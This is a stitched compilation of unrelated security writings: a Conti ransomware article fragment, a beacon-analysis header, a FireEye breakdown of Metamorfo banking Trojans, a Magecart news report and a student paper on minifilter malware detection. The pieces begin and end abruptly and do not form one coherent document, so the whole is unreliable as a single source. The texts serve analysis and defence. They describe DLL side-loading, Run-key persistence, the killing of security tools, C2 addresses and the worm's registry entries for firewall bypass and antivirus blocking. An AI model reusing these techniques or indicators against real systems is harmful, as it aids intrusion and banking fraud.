One of the other key differentiators of Conti and ransomware as a service groups is the group’s ongoing investments in research and development. Conti has consistently invested back into its operations as a way to stay a step ahead of the competition (and law enforcement). Right now, the group’s R&D is focused on areas like discovering new, exploitable vulnerabilities and avenues for attack, Boguslavskiy said.
Among other things, Conti is looking for ways to leverage common and critical flaws like Log4j, Petit Potam, and a recent, critical vulnerability in SonicWall’s SonicOS. The group is also working on enhancements to the Emotet botnet and engaging with other ransomware groups, like those that developed the new BlackCat ransomware, to further its activities.
## Know your adversary
The key for organizations concerned about ransomware is to not be complacent, Boguslavskiy told me. Reports of the demise of ransomware groups, or dissent within Conti’s ranks over business disputes or the War in Ukraine shouldn’t prompt organizations to let down their guard. Conti remains very active and has shown itself to be extremely resilient. “Even if they disappear they will come back stronger,” he said.
Understanding how Conti is working to compromise victims and how it behaves once it has a foothold within organizations is the key to defending your organization, Boguslavskiy said. These days, that means paying special attention to precursors of Conti, including indicators of compromise linked to Emotet.
ReversingLabs continuously improves its detection mechanisms to keep up to date with malware trends. That includes threats related to ransomware, wipers, and other threats. ReversingLabs' Titanium platform combines Explainable Machine Learning technology with static analysis to reliably identify and extract wipers, malware, and other indicators at scale. That allows our customers to detect such threats in their environment quickly and before they allow malicious actors to extend their reach within compromised networks. |
# An Obfuscated Beacon – Extra XOR Layer
**Date:** September 6, 2022
**Tools:** 1768.py, xor-kpa.py, pecheck.py, translate.py, strings.py
**Diary entry:** Analysis of an Encoded Cobalt Strike Beacon
**Sample:** e652ee076aded6b2c8b4e3e8ee83ed9423019d0a9aacbd38837d251191972bef |
# Metamorfo Campaigns Targeting Brazilian Users
**Threat Research Blog**
April 24, 2018 | by Edson Sierra, Gerardo Iglesias
FireEye Labs recently identified several widespread malspam (malware spam) campaigns targeting Brazilian companies with the goal of delivering banking Trojans. We are referring to these campaigns as Metamorfo. Across the stages of these campaigns, we have observed the use of several tactics and techniques to evade detection and deliver the malicious payload. In this blog post, we dissect two of the main campaigns and explain how they work.
## Campaign #1
The kill chain starts with an email containing an HTML attachment with a refresh tag that uses a Google URL shortener as the target. When the URL is loaded, it redirects the victim to a cloud storage site such as GitHub, Dropbox, or Google Drive to download a ZIP file. The ZIP archive contains a malicious portable executable (PE) file with an embedded HTML application (HTA). The user has to unzip the archive and double-click the executable for the infection chain to continue. The PE file is a simple HTA script compiled into an executable. When the user double-clicks the executable, the malicious HTA file is extracted to `%temp%` and executed by `mshta.exe`.
The HTA script contains VBS code that fetches a second blob of VBS code encoded in base64 form from a specified URL. After the second stage of VBS is decoded, the script downloads the final stage from another specified URL. The downloaded ZIP file contains four files. Two are PE files. One is a legitimate Windows tool, `pvk2pfx.exe`, that is abused for DLL side-loading. One is the malicious banking Trojan as the DLL.
The VBS code unzips the archive, changes the extension of the legitimate Windows tool from `.png` to `.exe`, and renames the malicious DLL as `cryptui.dll`. The VBS code also creates a file in `C:\Users\Public\Administrador\car.dat` with random strings. These random strings are used to name the Windows tool, which is then executed. Since this tool depends on a legitimate DLL named `cryptui.dll`, the search order path will find the malicious Trojan with the same name in the same directory and load it into its process space.
In Q4 of 2017, a similar malspam campaign delivered the same banking Trojan by using an embedded JAR file attached in the email instead of an HTML attachment. On execution, the Java code downloaded a ZIP archive from a cloud file hosting site such as Google Drive, Dropbox, or GitHub. The ZIP archive contained a legitimate Microsoft tool and the malicious Trojan.
### Banking Trojan Analysis
The Trojan expects to be located in the hardcoded directory `C:\Users\Public\Administrador\` along with three other files to start execution. These files are:
- `car.dat` (randomly generated name given to Windows tool)
- `i4.dt` (VBS script that downloads the same zip file)
- `id` (ID given to host)
- `cryptui.dll` (malicious Trojan)
The string found in the file `C:\Users\Public\Administrador\car.dat` is extracted and used to add the registry key `Software\Microsoft\Windows\CurrentVersion\Run\<string from car.dat>` for persistence. The sample also looks for a file named `i4.dt` in the same directory and extracts the contents of it, renames the file to `icone.vbs`, and creates a new persistent key in `\Software\Microsoft\Windows\CurrentVersion\Run` to open this file.
The VBS code in this file has the ability to recreate the whole chain and download the same ZIP archive.
Next, the Trojan searches for several folders in the Program Files directories, including:
- `C:\Program Files\AVG`
- `C:\Program Files\AVAST Software`
- `C:\Program Files\Diebold\Warsaw`
- `C:\Program Files\Trusteer\Rapport`
- `C:\Program Files\Java`
- `C:\Program Files (x86)\scpbrad`
If any of the folders are found, this information, along with the hostname and Operating System version, is sent to a hardcoded domain with the hardcoded User-Agent value “Mozilla/5.0 (Windows NT 6.1; WOW64; rv:12.0) Gecko/20100101 Firefox/12.0” in the format shown. The value of AT is “<host_name+OS&MD>=<list of folders found>”.
The sample iterates through the running processes, kills the following, and prevents them from launching:
- `msconfig.exe`
- `TASKMGR.exe`
- `regedit.exe`
- `ccleaner64.exe`
- `taskmgr.exe`
- `itauaplicativo.exe`
Next, it uses `GetForegroundWindow` to get a handle to the window the user is viewing and `GetWindowText` to extract the title of the window. The title is compared against a hardcoded list of Brazilian banking and digital coin sites. If any of those names are found and the browser is one of the following, the Trojan will terminate that browser:
- `firefox.exe`
- `chrome.exe`
- `opera.exe`
- `safari.exe`
The folder `C:\Users\Public\Administrador\logs\` is created to store screenshots, as well as the number of mouse clicks the user has triggered while browsing the banking sites. The screenshots are continuously saved as `.jpg` images.
### Command and Control
The command and control (C2) server is selected based on the string in the file “id”:
- `al -> '185.43.209[.]182'`
- `gr -> '212.237.46[.]6'`
- `pz -> '87.98.146[.]34'`
- `mn -> ’80.211.140[.]235'`
The connection to one of the hosts is then started over raw TCP on port 9999. The command and control communication generally follows the pattern `<|Command|>`, for example: `'<|dispida|>logs>SAVE<'` sends the screenshots collected in `gh.txt`. `'<PING>'` is sent from C2 to host, and `'<PONG>'` is sent from host to C2, to keep the connection alive. `'<|INFO|>'` retrieves when the infection first started based on the file timestamp from `car.dat` along with `'<|>'` and the host information.
There were only four possible IP addresses that the sample analyzed could connect to based on the strings found in the file “id”. After further researching the associated infrastructure of the C2, we were able to find potential number of victims for this particular campaign. Inside the open directories, we were able to get the following directories corresponding to the different active campaigns. Inside each directory, we could find statistics with the number of victims reporting to the C2. As of 3/27/2018, the numbers were:
- `al – 843`
- `ap – 879`
- `gr – 397`
- `kk – 2,153`
- `mn – 296`
- `pz – 536`
- `tm – 187`
## Campaign #2
In the second campaign, FireEye Labs observed emails with links to legitimate domains or compromised domains that use a refresh tag with a URL shortener as the target. The URL shortener redirects the user to an online storage site, such as Google Drive, GitHub, or Dropbox, that hosts a malicious ZIP file. The ZIP file contains a malicious executable written in AutoIt. When executed by the user, it drops a VBS file to a randomly created and named directory and fetches contents from the C2 server.
Two files are downloaded from the C2 server. One is a legitimate Microsoft tool and the other is a malicious DLL. Those files are downloaded and saved into random directories named with specific patterns. The execution chain ensures that persistence is set on the affected system using a `.lnk` file in the Startup directory. The `.lnk` file opens the malicious VBS dropped on the system.
The VBS file will launch and execute the downloaded legitimate Windows tool, which in this case is `Certmgr.exe`. This tool will be abused using the DLL side loading technique. The malicious `Cryptui.dll` is loaded into the program instead of the legitimate one and executed.
### Banking Trojan Analysis
Like the Trojan from the first campaign, this sample is executed through search-order hijacking. In this case, the binary abused is a legitimate Windows tool, `Certmgr.exe`, that loads `Cryptui.dll`. Since this tool depends on a legitimate DLL named `cryptui.dll`, the search order path will find the malicious Trojan with the same name in the same directory and load it into its process space.
The malicious DLL exports 21 functions. Only `DllEntryPoint` contains real code that is necessary to start the execution of the malicious code. The other functions return hardcoded values that serve no real purpose.
On execution, the Trojan creates a mutex called "correria24" to allow only one instance of it to run at a time. The malware attempts to resolve “www.goole[.]com” (most likely a misspelling). If successful, it sends a request to a specified URL in order to detect the external IP of the victim. The result is parsed and execution continues only if the country code matches “BR”.
The malware creates an empty file in `%appdata%\Mariapeirura` on first execution, which serves as a mutex lock, before attempting to send any collected information to the C2 server. This is done in order to get only one report per infected host. The malware collects host information, base64 encodes it, and sends it to two C2 servers. The following items are gathered from the infected system:
- OS name
- OS version
- OS architecture
- AV installed
- List of banking software installed
- IP address
- Directory where malware is being executed from
The information is sent to two specified URLs.
The malware alters the value of the registry key `Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced\ExtendedUIHoverTime` to 2710 in order to change the number of milliseconds a thumbnail is shown while hovering on the taskbar.
Like the Trojan from the first campaign, this sample checks if the foreground window's title contains names of Brazilian banks and digital coins by looking for hardcoded strings. The malware displays fake forms on top of the banking sites and intercepts credentials from the victims. It can also display a fake Windows Update whenever there is nefarious activity in the background.
### Command and Control
The Trojan’s command and control command structure is identical to the first sample. The commands are denoted by the `<|Command|>` syntax.
This sample contains most of the important strings encrypted.
## Conclusion
The use of multi-stage infection chains makes it challenging to research these types of campaigns all the way through. As demonstrated by our research, the attackers are using various techniques to evade detection and infect unsuspecting Portuguese-speaking users with banking Trojans. The use of public cloud infrastructure to help deliver the different stages plays a particularly big role in delivering the malicious payload. The use of different infection methods combined with the abuse of legitimate signed binaries to load malicious code makes these campaigns worth highlighting.
## Indicators of Compromise
### Campaign #1
| TYPE | HASH | DESCRIPTION |
|------|------|-------------|
| MD5 | 860fa744d8c82859b41e00761c6e25f3 | PE with Embedded HTA |
| MD5 | 3e9622d1a6d7b924cefe7d3458070d98 | PE with Embedded HTA |
| MD5 | f402a482fd96b0a583be2a265acd5e74 | PE with Embedded HTA |
| MD5 | f329107f795654bfc62374f8930d1e12 | PE with Embedded HTA |
| MD5 | 789a021c051651dbc9e01c5d8c0ce129 | PE with Embedded HTA |
| MD5 | 68f818fa156d45889f36aeca5dc75a81 | PE with Embedded HTA |
| MD5 | c2cc04be25f227b13bcb0b1d9811e2fe | cryptui.dll |
| MD5 | 6d2cb9e726c9fac0fb36afc377be3aec | id |
| MD5 | dd73f749d40146b6c0d2759ba78b1764 | i4.dt |
| MD5 | d9d1e72165601012b9d959bd250997b3 | VBS file with commands to create staging directories for malware |
| MD5 | 03e4f8327fbb6844e78fda7cdae2e8ad | pvk2pfx.exe [Legit Windows Tool] |
| URL | | hxxp://5.83.162.24/ilha/pz/logs.php |
| URL | | hxxp://5.83.162.24/28022018/pz.zip |
| C2 | | ibamanetibamagovbr[.]org/virada/pz/logs.php |
| URL | | sistemasagriculturagov[.]org |
| URL | | hxxp://187.84.229.107/05022018/al.zip |
### Campaign #2
| TYPE | HASH | DESCRIPTION |
|------|------|-------------|
| MD5 | 2999724b1aa19b8238d4217565e31c8e | AutoIT Dropper |
| MD5 | 181c8f19f974ad8a84b8673d487bbf0d | img1.jpg [Legit Windows Tool] |
| MD5 | d3f845c84a2bd8e3589a6fbf395fea06 | img2.jpg [Banking Trojan] |
| MD5 | 2365fb50eeb6c4476218507008d9a00b | Variants of Banking Trojan |
| MD5 | d726b53461a4ec858925ed31cef15f1e | Variants of Banking Trojan |
| MD5 | a8b2b6e63daf4ca3e065d1751cac723b | Variants of Banking Trojan |
| MD5 | d9682356e78c3ebca4d001de760848b0 | Variants of Banking Trojan |
| MD5 | 330721de2a76eed2b461f24bab7b7160 | Variants of Banking Trojan |
| MD5 | 6734245beda04dcf5af3793c5d547923 | Variants of Banking Trojan |
| MD5 | a920b668079b2c1b502fdaee2dd2358f | Variants of Banking Trojan |
| MD5 | fe09217cc4119dedbe85d22ad23955a1 | Variants of Banking Trojan |
| MD5 | 82e2c6b0b116855816497667553bdf11 | Variants of Banking Trojan |
| MD5 | 4610cdd9d737ecfa1067ac30022d793b | Variants of Banking Trojan |
| MD5 | 34a8dda75aea25d92cd66da53a718589 | Variants of Banking Trojan |
| MD5 | 88b808d8164e709df2ca99f73ead2e16 | Variants of Banking Trojan |
| MD5 | d3f845c84a2bd8e3589a6fbf395fea06 | Variants of Banking Trojan |
| MD5 | 28a0968163b6e6857471305aee5c17e9 | Variants of Banking Trojan |
| MD5 | 1285205ae5dd5fa5544b3855b11b989d | Variants of Banking Trojan |
| MD5 | 613563d7863b4f9f66590064b88164c8 | Variants of Banking Trojan |
| MD5 | 3dd43e69f8d71fcc2704eb73c1ea7daf | Variants of Banking Trojan |
| C2 | | https[:]//panel-dark[.]com/w3af/img2.jpg |
| C2 | | https[:]//panel-dark[.]com/w3af/img1.jpg | |
# Magecart Group Compromises Plugin Used in Thousands of Stores, Makes Rookie Mistake
A group behind recent Magecart campaigns made a mistake that could have cost thousands of web stores the payment card data of their customers when they checked out. The cybercriminals managed to compromise the popular Shopper Approved plugin used by online merchants to collect customer reviews and ratings. The plugin helps increase visibility by displaying the reviews in strategic locations through advertising networks from Google or Microsoft.
Security researchers from digital risk management company RiskIQ received an alert on September 15 from their systems for positive identification of the Magecart skimming code in the certificate.js script of the Shopper Approved seal code. The investigation revealed that the attackers injected the code without applying any obfuscation, which made it easy to detect and identify. Aware of the mistake, they returned about 15 minutes later and modified the skimmer to hide it.
This blunder, although minor, was enough to let researchers view the clean code without having to resort to deobfuscation techniques.
Of note is the drop server set up by the attackers to receive the payment card data, which is the same used in the Feedify hack a month ago. RiskIQ used several channels of communication to alert Shopper Approved of the compromise and help them mitigate the issue. Two days later, the skimmer code was removed from the store review widget. An investigation was also started to learn the source of the compromise.
“While Shopper Approved is active on thousands of websites, only a small fraction of their clients were impacted,” RiskIQ says in a report shared with BleepingComputer in advance. Shopper Approved identified clients that loaded the compromised script and contacted them to help remediate the issues.
Magecart is the term used for multiple groups that either compromise shopping websites directly or go further up the stream and infect plugins used by a large number of online stores, in an attempt to score big. At the moment, RiskIQ distinguishes between seven groups, some of them responsible for the Ticketmaster, British Airways, Feedify, and Newegg breaches.
The recommendation from the experts is to remove third-party code from checkout pages. Many payment service providers have already adopted this practice, RiskIQ informs. The Magecart threat is unlikely to disappear any time soon. In fact, a sharp increase in the number of attacks has been spotted in September by multiple security outfits.
Ionut Ilascu is a technology writer with a focus on all things cybersecurity. The topics he writes about include malware, vulnerabilities, exploits and security defenses, as well as research and innovation in information security. His work has been published by Bitdefender, Netgear, The Security Ledger and Softpedia. |
# Abstract
Malicious code detection and removal is very important to the security of the computer system. This project presents methodologies and tools to detect any malicious code present in the system and can be used as a preventive measure to protect the system from being infected. Malicious code analysis can be static or dynamic. Static code analysis performs control flow and data flow analysis of the programs to detect malware. Dynamic code analysis has a greater edge over static code analysis. In this technique, the instructions are analyzed as the code is being executed. Thus polymorphic malware can also be detected. The dynamic code technique makes use of a virtual environment to perform the analysis. Some malware can also detect the virtual environment and change behavior accordingly to hide itself from the defensive system. Thus dynamic analysis in a virtual environment is not an effective tool until it is used with some other tool that can detect the obfuscation of malware. The proposed tool examines the code in a virtual environment along with a minifilter driver and detects any malicious code present. The minifilter driver is used to monitor the Windows API calls, registry changes, and is used to generate reports. These reports can be analyzed to categorize a program as malware or a normal program.
# 1. Background and Rationale
## 1.1 Malicious Code
Malicious code is a term used to refer to any code that can cause undesired effects, security breaches, and potential damages to the software system without the user's consent. Software is classified as malware based on the user's intent rather than the features of the software. Any harmful software is not malware. For example, defective software can be legitimate and can still cause potential damage due to the presence of harmful bugs. Malware includes trojans, viruses, worms, spyware, and any kind of software with the intention to cause damage to the system.
Destructive malware generally spreads by using popular communication tools. For example, worms can be spread using an email tool. They usually exploit the vulnerabilities on the target system to make their entry easy and unknown to the system.
A special category of malware called data-stealing malware exists. This malware intends to steal personal and confidential information of a person or an organization. The security threats of this kind are created using software like key loggers, adware, spyware, and bots. This malware is typically stored in the cache memory which is frequently flushed. Once this kind of malware gets successfully installed on the target machine, it can take over the IDS or anti-virus programs protecting the system.
## 1.2 Categories of Malware
Malware has become the greatest external threat to organizations causing resource damage and restoration overhead. Malware can be categorized into the following:
### 1.2.1 Viruses
A virus is a self-replicating program that inserts copies of itself into the target program or target machine. Generally, viruses are initiated by user interaction. This happens whenever a user opens a file or runs a program.
### 1.2.2 Worms
A worm is a self-replicating program that requires no user interaction. It replicates itself based on some conditions. Worms are further categorized into Network Service Worms and Mass mailing worms. Network Service Worms replicate themselves and infect the target machines by making use of the vulnerabilities in the network. Mass mailing worms are similar to email viruses except that they are self-contained and do not infect other files.
### 1.2.3 Trojan Horse
A Trojan horse is a non-replicating and self-contained program that looks like a useful program but has hidden code that has a malicious purpose and can cause damage to the system. Generally, Trojan horses are used as aiding tools for other attacker tools.
### 1.2.4 Attacker Tools
Attacker tools are generally delivered to a target system as part of a malware infection. There is a large variety of attacker tools. Generally, these tools help attackers in gaining unauthorized access to infected systems and their data. They can also be used to launch additional attacks. The most common attacker tools are:
#### 1.2.4.1 Backdoors
A backdoor is a tool that can be used to bypass the normal authentication and remain undetected. Generally, a backdoor is a malicious program that listens to the commands being executed on certain TCP or UDP ports. There is a type of backdoor known as a bot, which when installed allows the attacker to gain remote control over the infected system.
#### 1.2.4.2 Keystroke Loggers
A keystroke logger is a malicious program that is used to record and monitor the keyboard usage. These tools can be used to log confidential information of the user, like usernames and passwords, and send them to the attacker.
#### 1.2.4.3 Rootkits
A rootkit is a collection of malicious files that are deployed on a target machine and then alter the functionality of the target systems in a stealthy way. Generally, rootkits make many changes to the target machine making themselves difficult to detect.
#### 1.2.4.4 Email Generators
An Email Generator is a program that is used by the attacker to send a large number of emails that contain malware, spyware, and other infections to target systems without the user's knowledge.
#### 1.2.4.5 Attacker Toolkits
Attackers make use of attacker toolkits which consist of a wide variety of tools and utilities that can be used to probe and attack target systems. The tools include packet sniffers, port scanners, vulnerability scanners, password crackers, and other scripts.
### 1.3 Vulnerability to Malware
Many factors may leave a system vulnerable to attacks. The most common being the exploits of the bugs in the operating system design, existence of over-privileged users (who can leave the system vulnerable to the malware by making wrong decisions). Once a potential weakness is determined in an operating system, it can be used to launch attacks against all the machines that have the same operating system. Once a machine is compromised, the malware can act intelligently hiding itself from the anti-malware and anti-virus programs, at the same time performing its intended task.
The user should always install the patches for the design weaknesses to protect itself from being prone to malware attack. Most of the websites on the World Wide Web are infected by malware. For example, the social networking site Twitter had a vulnerability called XSS security issue. This vulnerability allowed the malicious program developers to inject malicious code into the HTML pages, thus all the systems that visited this website and had a lack of malware protection were infected by the malware. The XSS vulnerability allows the malware owners to hijack user accounts and also with the help of knowledge of other vulnerabilities, they could compromise the systems.
Another example of vulnerability is the Microsoft Office PowerPoint vulnerability. This unpatched vulnerability could allow the hackers to get arbitrary code executed with the privileges of the log-on user.
## 1.4 Malicious Code Analysis
Malicious code analysis is used to refer to the process of determining the intent and nature of the malware sample. This is very important to the process of developing the detection techniques for the malware. Also, it is very important for developing tools that can be used to remove the malware from the system. For a long time, the malicious code analysis was a manual, time-consuming, and tedious task. Thus there was a need for automated systems which could detect the presence of the malware and automatically act to prevent the malware from achieving its intended task.
The most important preventive measures for malware are the virus scanner, but these scanners rely on a database of known signatures for viruses. Thus they are restricted to only known viruses and malware, but many new types of malware and viruses attack the computer systems every day. So there is a need for a better malware tracking solution. Whenever a new malware is found, its signature is written to the database of signatures, so that all systems infected with this malware can be easily fixed.
In addition, it is very important to understand the functionality of the malware. In order to remove the malware, it is not sufficient to remove the binary from the Windows environment; all the registry settings affected by the malware should be restored.
Generally, the malware analysis is conducted by allowing the malware program to be executed in a restricted environment and observing the actions. Then the actions of the program are analyzed (usually a debugger is used). This manual analysis is a time-consuming and tedious process. Thus there is a need for automated analysis programs. This automation is generally achieved by executing the affected program in a virtual environment and recording the actions of the programs and finally sending the recorded actions to the human analyst.
The existing automated malicious code analyzers have shortcomings. One of the very important aspects among them being the failure of the analyzers due to the presence of detection routines within the malware. The detection routines allow the malware to detect if the program is running in a virtual environment. If so, the malware program acts in a different way, thus hiding its existence. Some malware have the capability to check the existence of both hardware and software breakpoints, which can be used to detect the existence of a malware.
Other problems with the automated malware analysis include the incapability of the tool to detect the complete interaction of the program with the system.
### 1.4.1 Static Analysis
Static analysis is the process of analyzing the malware without actually executing it. In this technique, the binary code is converted into corresponding assembler level instructions. After the transformation, control flow and data flow analysis techniques are implemented to draw a conclusion about the program's functionality.
Static analysis is faster in performance than dynamic analysis. One of the major disadvantages of static analysis is the ability of the malware to make use of binary obfuscation, which can be used to safely play with the control flow and data flow analysis. The binary obfuscation preserves the program's functionality while at the same time making the parsing of the program difficult. The malware can also make use of code obfuscation which makes it difficult to perform the data flow and control flow analysis. These obfuscation techniques are implemented with the help of opaque predicates and opaque constants. Opaque predicates are defined as “Boolean valued expressions whose values are known to the obfuscator but difficult to determine for an automatic deobfuscator”. Opaque constants are similar to opaque predicates but they hold integer values.
It’s not necessary that the code analyzed by the static analyzer is the code that will be actually executed. This is true in particular for the self-modifying programs that make use of polymorphism to hide their actual form.
### 1.4.2 Dynamic Analysis
In contrast to static analysis, the dynamic analyzers analyze the code when it is being executed. The most important advantage of dynamic analyzer is that the instructions that are analyzed are the ones that are executed. These tools provide security against the obfuscation techniques.
Generally, the analysis is conducted in a virtual environment. Thus the risk of the system being damaged is reduced, because the virtual environment image could be replaced with a new one. One of the significant drawbacks of conducting the analysis in a virtual environment is that the malware could determine that it is running in a virtual environment and may change its behavior accordingly.
Virtual environment detection tools are easily available. These tools make use of CPU instructions to determine the existence of a virtual environment.
# 2. Minifilter Driver
## 2.1 Analyzing an Executable
The ultimate goal of this project is to analyze a given executable and generate a report of the changes made to the system by the executable. Then analysis of the report is performed to decide if the executable is malware or a normal program. The executable is tested in a virtual environment. The analysis tool has two main components:
1. **Minifilter Driver**: The minifilter driver is used to dynamically monitor the activities of the program that is being tested. This driver can track the Windows API calls made by the program.
2. **Analysis Tool**: This tool works along with the driver. It makes use of the track report of the Windows API calls made by the program and generates a report that is understandable by an analyst. The report includes all the file and registry operations made by the program.
The minifilter driver is created using Windows programming with Windows Driver Kit (WDK). The analysis component is developed using C and C++ programming with Visual C++. Based on the reports generated by the analysis tool, the changes made by the program are taken into consideration, analysis is performed, and a decision is made as malicious or normal program.
## 2.2 Malicious Code Detection
Malicious code detection is the process of detecting various malware that can cause potential damage to the system. Any defense technology can be separated into two components – a technical component and an analytical component. In reality, these components may not be clearly separable at the module or algorithm level within every malicious program. However, in terms of function, their differences are significant and important. The technical component is a collection of program functions and algorithms that selects the data that will be analyzed by the analytical component. This data may be anything – from text strings within a file, to a specific action the program performs, to a full sequence of actions that the program performs, and more.
The analytical component serves as the decision-making system. It assesses the data provided by the technical component using one or more algorithms and then issues a verdict about the data. The security program will then use the verdict to take action on the malicious program according to the security policy that has been set in the security program. For example, a few of the possible actions that could occur based upon the verdict might be:
- Notifying the user
- Requesting further instructions from the user
- Placing a file in quarantine
- Blocking unauthorized program actions
Consider the following example, which is extracted from the assembly code of Bagle, which is a widespread email-based virus.
The key part of the sample code is a loop formed by instructions 4 through 12. The instructions preceding the loop (i.e., instructions 1 through 3) initialize the loop counter (ecx), starting address (edi), and another variable (edx). During each iteration, the loop fetches a value from the data segment, performs a calculation based upon that value, and then finally puts the new computed value back into the data segment. Following the loop, the program calls a library function that uses the newly computed values. The use of these values triggers the actions of the virus. Many different kinds of obfuscation transformations can be applied to this piece of code to affect mutations of the Bagle virus.
## 2.3 Minifilter Driver
### 2.3.1 Minifilter
The filter manager is a kernel-mode driver that performs in accordance with a standard file system filter model. The ultimate goal of a filter manager is to provide the generic functionality that is required by file system filter drivers. This functionality is very useful for the third-party driver developer to develop and write minifilters for the user applications.
The minifilter technique is very simple and easy to develop than the corresponding file system filter drivers. By taking advantage of this functionality, third-party developers can write minifilter drivers, which are simpler to develop than legacy file system filter drivers. This process shortens the driver production process with far superior quality. The applications developed by minifilters are more robust and versatile.
### 2.3.2 Filter Manager Concepts
All Windows operating systems have a Filter manager installed on them. But the filter manager is turned into active mode only when a minifilter driver is loaded. The filter manager works by attaching itself to the file system stack and thus acquiring a place in the target volume. On the other hand, the minifilter driver has an indirect attachment to the target volume by registering itself with the filter manager. The minifilter driver can register itself with the filter manager to perform filtering of a chosen set of I/O operations.
#### 2.3.2.1 Load Order Groups
The “load order group” determines the position of a legacy filter driver in the file system I/O stack relative to other filter drivers. This can be better explained by the following example. An antivirus filter driver should always be at a higher position in a file system I/O stack than a replication filter driver. This position of the antivirus filter driver is required in order to detect viruses and disinfect files before they can cause further damage to the other machines. Thus, filter drivers located in the FSFilter Anti-Virus load order group are higher in position and are loaded before filter drivers located in the FSFilter Replication group. Every filter driver in the file system has a corresponding system-defined class. There is also a GUID specified in the .inf file for the filter driver.
#### 2.3.2.2 Altitude of a Minifilter
Similar to the legacy filter drivers, all the minifilter drivers attach to the file system stack in a particular order. A unique identifier called altitude determines the order of attachment of a minifilter driver. The altitude of a minifilter is the characteristic that identifies the position of a minifilter relative to other minifilters in the I/O stack when the minifilters are loaded. The altitude is an infinite-precision string interpreted as a decimal number. Lower the altitude value, earlier the filter loaded. It means a minifilter that has a low numerical altitude is loaded below a minifilter that has a higher numerical value in the I/O stack.
#### 2.3.2.3 Instance of a Minifilter
The attachment of a minifilter driver at a particular altitude on the file system stack is called an instance of the minifilter driver. The altitude of a minifilter driver ensures the order of loading instances of minifilter drivers is appropriate. The altitude also determines the order in which the minifilter drivers are called by the filter manager to handle I/O. The allocation of altitudes to the instance of minifilter drivers is managed by Microsoft.
#### 2.3.2.4 Callback Routines of a Minifilter
A minifilter has the capability to filter all the three major I/O based operations. The three I/O operations are IRP-based I/O operations; fast I/O and file system filter (FSFilter) callback operations. The minifilter can register with a preoperation callback routine, a post-operation callback routine, or both for filtering each of the above three I/O operations. The filter manager makes a call to the appropriate callback routine for each minifilter driver whenever they need to handle an I/O operation. It can call a callback routine only when it is registered. When the callback routine returns, the filter manager makes a call to other callback routines registered for other minifilter drivers for the same I/O operation.
Generally, there is a need for interoperability between the minifilter drivers and the legacy filter drivers. To achieve this interoperability, the filter manager attaches filter device objects to a file system I/O stack in multiple locations. Each of the filter manager's filter device objects is called a frame. The legacy filter driver perceives each filter manager frame as just another legacy filter driver.
Every filter manager frame makes use of a band of altitudes. The filter manager is robust enough, so that it can create a new frame or modify an existing frame to attach to the file system at the correct location.
### 2.4 Advantages of Minifilter Drivers
The minifilter model offers the following advantages over the existing legacy filter driver model:
1. Filter load order control is easy
2. Unloading a minifilter while a system running is possible
3. Ability to process only necessary operations
4. Kernel stack is used more efficiently
5. Code redundancy is reduced
6. Less complexity
7. New operations can be easily added
8. Can support multiple platforms easily
9. Better support for user-mode applications
## 2.5 Analyzing the Reports and Decision Making
Once a report is generated by the tool, analysis can be performed by the analyst. Based on the operations performed by the program as listed in the report, the analyst can classify a program as a malicious program or a normal program.
For example, the following is the analysis of a sample report. The report is from Symantec Antivirus:
- **Name**: Auraax.c
- **Type**: Worm
- **Infection Length**: 27,136 bytes
- **Systems Affected**: Windows 98, Windows 95, Windows XP, Windows Me, Windows Vista, Windows NT, Windows Server 2003, and Windows 2000.
Whenever the worm executes, it replicates itself and infects all the machines that are prone to it. It copies into the system files of a machine as follows:
`%ProgramFiles%\Microsoft Common\wuauclt.exe`
Once a machine is infected, it then creates several files on the infected machine. For example, the following files are created:
1. `%Windir%\Temp\rld[SINGLE NUMBER].tmp`
2. `%System%\config\systemprofile\Local Settings\History\desktop.ini`
3. `%System%\config\systemprofile\Cookies\index.dat`
4. `%System%\config\systemprofile\Local Settings\Temporary Internet Files\desktop.ini`
After the creation of files, the worm alters the following system processes:
1. `svchost.exe`
2. `explorer.exe`
Then the worm makes a few new entries into the Windows registry. These entries run every time the system boots.
The entries are as follows:
`HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WindowsNT\CurrentVersion\Image File Execution Options\explorer.exe\"Debugger" = "%ProgramFiles%\Microsoft Common\wuauclt.exe"`
The worm also modifies a few existing registry entries, which are loaded every time the system boots. The entries are as follows:
`HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WindowsNT\CurrentVersion\Winlogon\"Userinit" = "%System%\userinit.exe, ProgramFiles%\Microsoft Common\wuauclt.exe"`
The worm also creates registry entries that have the capability to bypass the Windows firewall. They are:
`HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\AuthorizedApplications\List\"%ProgramFiles%\MicrosoftCommon\wuauclt.exe"="%ProgramFiles%\Microsoft Common\wuauclt.exe:*:Enabled:EMOTIONS_EXECUTABLE"`
The worm also searches the kernel drivers for .sys extension files in the `%System%\DRIVERS\` folder so that it can overwrite these files. These files are generally overwritten with a rootkit so that the worm can hide itself.
The worm also modifies the host machine files, so that the host machine is prevented from accessing the following websites:
1. `127.0.0.1 downloads.microsoft.com`
2. `127.0.0.1 downloads1.kaspersky-labs.com`
3. `127.0.0.1 downloads2.kaspersky-labs.com`
4. `127.0.0.1 downloads3.kaspersky-labs.com`
# 3. System Design
## 3.1 Overview of the System
The use of a dedicated standalone system for testing the malware is not an efficient solution. The dedicated system can be reinstalled after each dynamic test run is performed, but this induces very high cost. In order to overcome the disadvantages of a standalone system, the tool runs the tests in a virtual environment, thus limiting the effect of the malware only to the virtual machine but not the real system.
In the case of a virtual system, the infected virtual image is replaced with a new one. Thus there is no need to reinstall software on the machine, thereby reducing the overhead. Virtual machines are very fast and similar to the real one in terms of execution speed. A major drawback of the virtual solution is that the malware may detect that the environment in which it is running is the virtual environment and may change its behavior accordingly.
The alternative solution to the above problem is the use of an emulator. A PC emulator is a piece of software that emulates the functionality of a real system including all the real-time resources of a system. There is a subtle difference between an emulator and a virtual machine. A virtual system executes a statically dominant set of instructions directly on a real system, whereas an emulator simulates all the instructions in software.
But there is a problem with software emulators. They are not easily available for Windows-based Operating Systems. Hence there is a need for a tool that can work with a virtual Operating System and still detect malware.
Also, there is a very important difference between the speed of execution on a real-time system and the speed of execution on a virtual Operating System. This difference can be used by the malware to judge whether it is being run on a virtual Operating System or a real system. This disadvantage can be overcome by using a minifilter driver which can redirect operations and makes a malware believe that it is not being run in a test environment.
## 3.2 Information Analyzed
It is possible to classify the types of information that is captured during the analysis phase of the system. Many systems concentrate on the communication between the application and the operating system. This includes intercepting system calls and hooking API calls.
